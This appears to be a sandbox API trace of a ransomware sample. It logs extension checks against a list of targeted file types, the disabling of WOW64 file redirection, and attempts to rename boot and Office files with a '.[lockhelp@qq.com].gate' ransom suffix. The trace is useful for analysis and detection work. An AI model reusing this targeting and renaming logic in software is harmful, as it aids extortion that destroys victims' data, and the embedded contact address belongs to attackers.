[0318.856] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0318.856] lstrlenW (lpString=".xls") returned 4 [0318.856] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0318.856] lstrlenW (lpString=".xlsx") returned 5 [0318.856] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0318.856] lstrlenW (lpString=".ppt") returned 4 [0318.856] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0318.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0318.856] lstrlenW (lpString=".zip") returned 4 [0318.856] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0318.856] lstrlenW (lpString=".rar") returned 4 [0318.856] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0318.856] lstrlenW (lpString=".bz2") returned 4 [0318.856] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0318.856] lstrlenW (lpString=".7z") returned 3 [0318.856] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0318.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0318.856] lstrlenW (lpString=".dbf") returned 4 [0318.856] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0318.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0318.856] lstrlenW (lpString=".1cd") returned 4 [0318.856] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0318.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0318.856] lstrlenW (lpString=".jpg") returned 4 [0318.856] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0318.856] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x740480 | out: hHeap=0x6e0000) returned 1 [0318.856] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73c190 | out: hHeap=0x6e0000) returned 1 [0318.856] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f53e18 | out: hHeap=0x6e0000) returned 1 [0318.864] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f63e20 | out: hHeap=0x6e0000) returned 1 [0318.865] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x43e3020 | out: hHeap=0x6e0000) returned 1 [0318.869] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x740588 | out: hHeap=0x6e0000) returned 1 [0318.869] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x3f8b380 [0318.869] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8b380, Size=0x20) returned 0x7ddc28 [0318.869] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x3f8b440 [0318.869] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8b440, Size=0x20) returned 0x7ddb88 [0318.869] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0318.869] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0318.870] Wow64DisableWow64FsRedirection (in: OldValue=0x39fff50 | out: OldValue=0x39fff50*=0x1) returned 1 [0318.870] lstrlenW (lpString="kernel32.dll") returned 12 [0318.870] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7ddb88 | out: hHeap=0x6e0000) returned 1 [0318.870] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0318.870] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7ddc28 | out: hHeap=0x6e0000) returned 1 Thread: id = 61 os_tid = 0xedc [0272.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10000) returned 0x3f76500 [0272.295] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10000) returned 0x44f0048 [0272.296] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x740498 [0272.296] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x6) returned 0x73c1d0 [0272.296] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x7405a0 [0272.296] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x100000) returned 0x46fd020 [0272.299] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x7404b0 [0272.299] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7404b0, Size=0x20) returned 0x71eac0 [0272.299] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x7405b8 [0272.299] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7405b8, Size=0x20) returned 0x71ebd8 [0272.299] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0272.299] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0272.299] Wow64DisableWow64FsRedirection (in: OldValue=0x3b3ff50 | out: OldValue=0x3b3ff50*=0x0) returned 1 [0272.299] lstrlenW (lpString="kernel32.dll") returned 12 [0272.299] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71eac0 | out: hHeap=0x6e0000) returned 1 [0272.299] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0272.299] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71ebd8 | out: hHeap=0x6e0000) returned 1 [0272.300] Sleep (dwMilliseconds=0x64) [0272.485] Sleep (dwMilliseconds=0x64) [0272.669] Sleep (dwMilliseconds=0x64) [0272.988] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0272.988] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0272.988] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0272.988] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=75616) returned 1 [0272.988] CloseHandle (hObject=0x37c) returned 1 [0272.988] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0272.988] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0273.012] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.012] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0273.012] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0273.012] lstrlenW (lpString=".doc") returned 4 [0273.012] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0273.012] lstrlenW (lpString=".docx") returned 5 [0273.012] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0273.012] lstrlenW (lpString=".pdf") returned 4 [0273.012] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0273.012] lstrlenW (lpString=".xls") returned 4 [0273.012] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0273.012] lstrlenW (lpString=".xlsx") returned 5 [0273.012] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0273.012] lstrlenW (lpString=".ppt") returned 4 [0273.012] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0273.012] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0273.012] lstrlenW (lpString=".zip") returned 4 [0273.012] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0273.012] lstrlenW (lpString=".rar") returned 4 [0273.012] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0273.012] lstrlenW (lpString=".bz2") returned 4 [0273.012] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0273.012] lstrlenW (lpString=".7z") returned 3 [0273.012] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0273.012] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0273.013] lstrlenW (lpString=".dbf") returned 4 [0273.013] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0273.013] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0273.013] lstrlenW (lpString=".1cd") returned 4 [0273.013] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0273.013] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0273.013] lstrlenW (lpString=".jpg") returned 4 [0273.013] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0273.013] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0273.013] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0273.013] lstrlenW (lpString=".doc") returned 4 [0273.013] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0273.013] lstrlenW (lpString=".docx") returned 5 [0273.013] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0273.013] lstrlenW (lpString=".pdf") returned 4 [0273.013] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0273.013] lstrlenW (lpString=".xls") returned 4 [0273.013] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0273.013] lstrlenW (lpString=".xlsx") returned 5 [0273.013] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0273.013] lstrlenW (lpString=".ppt") returned 4 [0273.013] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0273.013] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0273.013] lstrlenW (lpString=".zip") returned 4 [0273.013] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0273.013] lstrlenW (lpString=".rar") returned 4 [0273.013] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0273.013] lstrlenW (lpString=".bz2") returned 4 [0273.013] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0273.013] lstrlenW (lpString=".7z") returned 3 [0273.013] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0273.013] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0273.013] lstrlenW (lpString=".dbf") returned 4 [0273.013] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0273.014] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0273.014] lstrlenW (lpString=".1cd") returned 4 [0273.014] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0273.014] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0273.014] lstrlenW (lpString=".jpg") returned 4 [0273.014] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0273.014] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0273.014] lstrlenW (lpString="memtest.exe.mui") returned 15 [0273.014] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0273.021] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=45472) returned 1 [0273.021] CloseHandle (hObject=0x338) returned 1 [0273.021] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20 [0273.021] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0273.021] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.021] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0273.021] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0273.021] lstrlenW (lpString=".doc") returned 4 [0273.021] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0273.021] lstrlenW (lpString=".docx") returned 5 [0273.021] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0273.021] lstrlenW (lpString=".pdf") returned 4 [0273.021] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0273.021] lstrlenW (lpString=".xls") returned 4 [0273.021] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0273.022] lstrlenW (lpString=".xlsx") returned 5 [0273.022] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0273.022] lstrlenW (lpString=".ppt") returned 4 [0273.022] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0273.022] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0273.022] lstrlenW (lpString=".zip") returned 4 [0273.022] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0273.022] lstrlenW (lpString=".rar") returned 4 [0273.022] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0273.022] lstrlenW (lpString=".bz2") returned 4 [0273.022] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0273.022] lstrlenW (lpString=".7z") returned 3 [0273.022] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0273.022] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0273.022] lstrlenW (lpString=".dbf") returned 4 [0273.022] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0273.022] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0273.022] lstrlenW (lpString=".1cd") returned 4 [0273.022] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0273.022] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0273.022] lstrlenW (lpString=".jpg") returned 4 [0273.022] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0273.022] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0273.022] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0273.022] lstrlenW (lpString=".doc") returned 4 [0273.022] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0273.022] lstrlenW (lpString=".docx") returned 5 [0273.022] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0273.022] lstrlenW (lpString=".pdf") returned 4 [0273.022] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0273.022] lstrlenW (lpString=".xls") returned 4 [0273.022] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0273.022] lstrlenW (lpString=".xlsx") returned 5 [0273.023] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0273.023] lstrlenW (lpString=".ppt") returned 4 [0273.023] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0273.023] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0273.023] lstrlenW (lpString=".zip") returned 4 [0273.023] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0273.023] lstrlenW (lpString=".rar") returned 4 [0273.023] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0273.023] lstrlenW (lpString=".bz2") returned 4 [0273.023] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0273.023] lstrlenW (lpString=".7z") returned 3 [0273.023] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0273.023] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0273.023] lstrlenW (lpString=".dbf") returned 4 [0273.023] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0273.023] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0273.023] lstrlenW (lpString=".1cd") returned 4 [0273.023] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0273.023] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0273.023] lstrlenW (lpString=".jpg") returned 4 [0273.023] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0273.023] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0273.023] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0273.023] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0273.255] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=80224) returned 1 [0273.255] CloseHandle (hObject=0x338) returned 1 [0273.255] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0273.255] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0273.256] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.256] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0273.256] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0273.256] lstrlenW (lpString=".doc") returned 4 [0273.256] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0273.256] lstrlenW (lpString=".docx") returned 5 [0273.256] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0273.256] lstrlenW (lpString=".pdf") returned 4 [0273.256] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0273.256] lstrlenW (lpString=".xls") returned 4 [0273.256] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0273.256] lstrlenW (lpString=".xlsx") returned 5 [0273.256] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0273.256] lstrlenW (lpString=".ppt") returned 4 [0273.256] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0273.256] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0273.256] lstrlenW (lpString=".zip") returned 4 [0273.256] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0273.256] lstrlenW (lpString=".rar") returned 4 [0273.256] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0273.256] lstrlenW (lpString=".bz2") returned 4 [0273.256] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0273.256] lstrlenW (lpString=".7z") returned 3 [0273.256] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0273.257] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0273.257] lstrlenW (lpString=".dbf") returned 4 [0273.257] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0273.257] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0273.257] lstrlenW (lpString=".1cd") returned 4 [0273.257] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0273.257] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0273.257] lstrlenW (lpString=".jpg") returned 4 [0273.257] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0273.257] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0273.257] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0273.257] lstrlenW (lpString=".doc") returned 4 [0273.257] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0273.257] lstrlenW (lpString=".docx") returned 5 [0273.257] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0273.257] lstrlenW (lpString=".pdf") returned 4 [0273.257] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0273.257] lstrlenW (lpString=".xls") returned 4 [0273.257] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0273.257] lstrlenW (lpString=".xlsx") returned 5 [0273.257] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0273.257] lstrlenW (lpString=".ppt") returned 4 [0273.257] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0273.257] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0273.257] lstrlenW (lpString=".zip") returned 4 [0273.257] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0273.258] lstrlenW (lpString=".rar") returned 4 [0273.258] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0273.258] lstrlenW (lpString=".bz2") returned 4 [0273.258] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0273.258] lstrlenW (lpString=".7z") returned 3 [0273.258] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0273.258] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0273.258] lstrlenW (lpString=".dbf") returned 4 [0273.258] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0273.258] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0273.258] lstrlenW (lpString=".1cd") returned 4 [0273.258] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0273.258] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0273.258] lstrlenW (lpString=".jpg") returned 4 [0273.258] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0273.258] lstrcmpiW (lpString1=".ttf", lpString2=".gate") returned 1 [0273.258] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0273.258] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0273.546] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=1985867) returned 1 [0273.546] CloseHandle (hObject=0x3a0) returned 1 [0273.546] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0273.547] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0273.547] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0273.547] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0273.547] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0273.547] lstrlenW (lpString=".doc") returned 4 [0273.547] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0273.547] lstrlenW (lpString=".docx") returned 5 [0273.547] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0273.547] lstrlenW (lpString=".pdf") returned 4 [0273.547] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0273.547] lstrlenW (lpString=".xls") returned 4 [0273.547] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0273.547] lstrlenW (lpString=".xlsx") returned 5 [0273.547] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0273.547] lstrlenW (lpString=".ppt") returned 4 [0273.547] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0273.547] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0273.547] lstrlenW (lpString=".zip") returned 4 [0273.547] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0273.547] lstrlenW (lpString=".rar") returned 4 [0273.547] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0273.547] lstrlenW (lpString=".bz2") returned 4 [0273.547] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0273.547] lstrlenW (lpString=".7z") returned 3 [0273.547] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0273.547] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0273.547] lstrlenW (lpString=".dbf") returned 4 [0273.547] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0273.548] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0273.548] lstrlenW (lpString=".1cd") returned 4 [0273.548] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0273.548] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0273.548] lstrlenW (lpString=".jpg") returned 4 [0273.548] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0273.548] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0273.548] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0273.548] lstrlenW (lpString=".doc") returned 4 [0273.548] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0273.548] lstrlenW (lpString=".docx") returned 5 [0273.548] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0273.548] lstrlenW (lpString=".pdf") returned 4 [0273.548] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0273.548] lstrlenW (lpString=".xls") returned 4 [0273.548] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0273.548] lstrlenW (lpString=".xlsx") returned 5 [0273.548] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0273.548] lstrlenW (lpString=".ppt") returned 4 [0273.548] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0273.548] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0273.548] lstrlenW (lpString=".zip") returned 4 [0273.548] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0273.548] lstrlenW (lpString=".rar") returned 4 [0273.548] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0273.548] lstrlenW (lpString=".bz2") returned 4 [0273.548] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0273.548] lstrlenW (lpString=".7z") returned 3 [0273.548] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0273.548] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0273.548] lstrlenW (lpString=".dbf") returned 4 [0273.548] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0273.548] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0273.548] lstrlenW (lpString=".1cd") returned 4 